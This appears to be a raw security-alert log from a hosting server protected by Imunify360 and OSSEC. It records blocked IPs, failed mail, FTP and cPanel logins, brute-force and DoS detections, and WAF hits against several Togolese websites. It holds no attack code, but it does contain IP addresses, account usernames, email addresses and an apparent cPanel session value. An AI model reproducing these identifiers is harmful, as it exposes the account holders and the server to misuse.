rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 02:40:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.102.149.88
country_id: 294640
description:
Jun 24 02:41:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.102.149.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.102.149.88
country_id: 294640
description:
2026-06-24 02:41:53 dovecot_plain authenticator failed for H=(zonymbroty) [82.102.149.88]:49880: 535 Incorrect authentication data (set_id=admin@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 24 02:41:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.20.97.192
country_id: 1562822
description:
Jun 24 02:41:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.20.97.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.55.157
country_id: 3017382
description:
Jun 24 02:42:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.55.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 02:44:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.40
country_id: 130758
description:
Jun 24 02:45:17 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 02:45:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 02:46:34 ns5 pure-ftpd[3685128]: (?@45.38.17.197) [WARNING] Authentication failed for user [czqxxxnu]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 02:48:15 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 105.101.93.168
country_id: 2589581
description:
105.101.93.168 - - [24/Jun/2026:02:47:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984389&pdata=https%253A%252F%252Ftogodailynews.tg%252Fjif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782269260 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/jif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2537.1200 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:105.101.93.168


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.202
country_id: 6252001
description:
[2026-06-24 02:49:21 +0000] info [cpaneld] 173.211.89.202 NEW formationfreenet:Yjh2WlbAMeAqzLVs address=173.211.89.202,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.215.142
country_id: 933860
description:
Jun 24 02:49:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.215.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 02:50:12 ns5 pure-ftpd[3687146]: (?@45.38.17.197) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.216.189
country_id: 6252001
description:
47.77.216.189 - - [24/Jun/2026:02:50:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065250&pdata=http%253A%252F%252Ftdn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782269415 HTTP/1.1" 302 0 tdn.tg "http://tdn.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.216.189


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 18.97.26.4
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 18.97.26.4: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.95
country_id: 3175395
description:
Jun 24 02:51:05 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 24 02:50:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 18.97.26.4
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 18.97.26.4: 154 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.87.140
country_id: 6252001
description:
Jun 24 02:51:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.87.140 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 02:52:59 ns5 pure-ftpd[3688540]: (?@45.38.17.197) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.180.191.8
country_id: 617790
description:
Jun 24 02:53:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.180.191.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.32
country_id: 3469034
description:
Jun 24 02:54:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.34.195.125
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/10/sm_1736880734.727969.webp 720w, http:/togodailynews.tg/wp-content/uploads/2025/10/sm_1736880734.727969-300x200.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 24 02:55:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.192.176
country_id: 1819730
description:
Jun 24 02:55:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.192.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.231.104.237
country_id: 2921044
description:
Jun 24 02:55:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.231.104.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.98.195.74
country_id: 1880251
description:
Jun 24 02:55:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.98.195.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 02:57:22 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [24/Jun/2026:02:57:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581396&pdata=https%253A%252F%252Fmail.afrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782269866 HTTP/2.0" 302 0 mail.afrique-distribution.net "https://mail.afrique-distribution.net/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.136.56.244
country_id: 6252001
description:
Jun 24 02:59:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.136.56.244 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.184.93.52
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/rentree-scolaire-2025-2026-le-prof-dodzi-kokoroko-constate-leffectivite-de-la-reprise-des-cours HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.146
country_id: 3865483
description:
Jun 24 03:00:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.21.84.159
country_id: 2017370
description:
2026-06-24 03:01:35 H=([37.21.84.159]) [37.21.84.159]:58322 F=<sergde@dgdn-togo.tg> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.183.234
country_id: 2635167
description:
Jun 24 03:01:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.183.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 03:01:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.172
country_id: 690791
description:
2026-06-24 03:02:35 H=([45.144.212.172]) [45.144.212.172]:57770 F=<dpr@priv8shop.com> rejected RCPT <henktim03@gmail.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.21.84.159
country_id: 2017370
description:
2026-06-24 03:04:18 H=([37.21.84.159]) [37.21.84.159]:61535 F=<sergde@dgdn-togo.tg> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.169
country_id: 6252001
description:
Jun 24 03:05:23 ns5 pure-ftpd[3693376]: (?@205.210.31.169) [INFO] New connection from 205.210.31.169


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.61.218.35
country_id: 3469034
description:
Jun 24 03:08:18 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.61.218.35 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-24 03:07:57 +0000] info [cpaneld] 103.65.237.227 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.163
country_id: 933860
description:
Jun 24 03:10:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.163 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.96.191.240
country_id: 2017370
description:
[2026-06-24 03:12:05 +0000] info [cpaneld] 176.96.191.240 - pduusmyf "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [24/Jun/2026:03:11:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750163&pdata=https%253A%252F%252Ftps.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782270697 HTTP/2.0" 302 0 tps.tg "https://tps.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.238.185.177
country_id: 2464461
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/electricite-la-ceet-annonce-des-perturbations-cette-semaine-a-lome/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 24 03:14:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 13.56.233.139
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 13.56.233.139: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.15.209
country_id: 3469034
description:
Jun 24 03:17:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.15.209 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.16.115
country_id: 1880251
description:
47.128.16.115 - - [24/Jun/2026:03:18:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999468&pdata=https%253A%252F%252Fucao-uut.tg%252Fcontact%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782271085 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/contact/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.16.115


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-24 03:18:16 +0000] info [cpaneld] 37.130.84.20 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 03:18:33 ns5 pure-ftpd[3698371]: (?@45.38.17.197) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.62.20.150
country_id: 3017382
description:
Jun 24 03:20:18 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.62.20.150 has been locked due to Imunify RBL


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 03:20:23 ns5 pure-ftpd[3699116]: (?@45.38.17.197) [WARNING] Authentication failed for user [polyfree]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.136.56.244
country_id: 6252001
description:
Jun 24 03:19:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.136.56.244 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.197
country_id: 6252001
description:
Jun 24 03:19:55 ns5 pure-ftpd[3698810]: (?@45.38.17.197) [WARNING] Authentication failed for user [sprocaadmin]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 03:21:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 147.93.30.90
country_id: 1269750
description:
Jun 24 03:22:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 147.93.30.90 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 03:22:23 +0000] info [cpaneld] 13.222.202.238 - hcbcmrio "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User hcbcmrio has their account suspended. Login blocked.


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: cfmi.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 24 03:22:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 03:23:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 62.140.7.250
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 62.140.7.250: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.78.94.190
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-la-securite-chimique-un-enjeu-invisible-mais-vital HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 51.163.158.250
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 51.163.158.250: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.50
country_id: 6252001
description:
205.169.39.50 - - [24/Jun/2026:03:25:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000540&pdata=http%253A%252F%252Ftps.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782271510 HTTP/1.1" 302 0 tps.tg "http://tps.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.50


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.231.104.237
country_id: 2921044
description:
Jun 24 03:25:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.231.104.237 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.69
country_id: 6252001
description:
[2026-06-24 03:25:58 +0000] info [cpaneld] 217.181.67.69 - qfaclpeg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.182.232.150
country_id: 1269750
description:
Jun 24 03:25:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.182.232.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 24 03:27:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.162.204.214
country_id: 1643084
description:
202.162.204.214 - - [24/Jun/2026:03:27:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328176&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782271628 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.162.204.214


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.40.89.57
country_id: 1210997
description:
Jun 24 03:28:06 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.40.89.57 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 23.165.184.130
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 211.159.180.43
country_id: 1814991
domain: misstogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.anasaptogo.com||User:tgmisefred||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 45.144.37.22
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:melisaxas485352||Email:karenmartin3234v7qe@b.mustdoindubai.com||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.188.95.202
country_id: 1814991
description:
Jun 24 03:34:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.188.95.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 24 03:34:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 24 03:34:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 24 03:34:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 24 03:34:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.192.176
country_id: 1819730
description:
Jun 24 03:34:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.192.176 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-24 03:36:04 +0000] info [cpaneld] 13.222.202.238 - masfloy "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.180.61.85
country_id: 1168579
domain: ameak.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:88440.ameak.co||ServerName:ameak.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bea994e8c1b59a17026a3682ca88d7cab52e39f9||Title:0x95847802||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 219.149.9.36
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 219.149.9.36: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.161.72
country_id: 3469034
description:
Jun 24 03:35:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.161.72 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 219.149.9.37
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 219.149.9.37: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 24 03:35:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.83.142.110
country_id: 732800
description:
Jun 24 03:35:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.83.142.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 24 03:35:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [24/Jun/2026:03:36:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671113&pdata=http%253A%252F%252Fv2.arse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782272212 HTTP/1.1" 302 0 v2.arse.tg "http://v2.arse.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.178.190
country_id: 1880251
description:
43.173.178.190 - - [24/Jun/2026:03:37:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868694&pdata=http%253A%252F%252Ftogodailynews.tg%252F71-e-session-du-comite-regional-de-loms-la-sante-publique-en-afrique-au-coeur-des-travaux%252Ffeed%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782272238 HTTP/1.1" 404 561 togodailynews.tg "http://togodailynews.tg/71-e-session-du-comite-regional-de-loms-la-sante-publique-en-afrique-au-coeur-des-travaux/feed/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.178.190


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 219.148.204.116
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 219.148.204.116: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 219.148.204.117
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 219.148.204.117: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.88.33.27
country_id: 3469034
description:
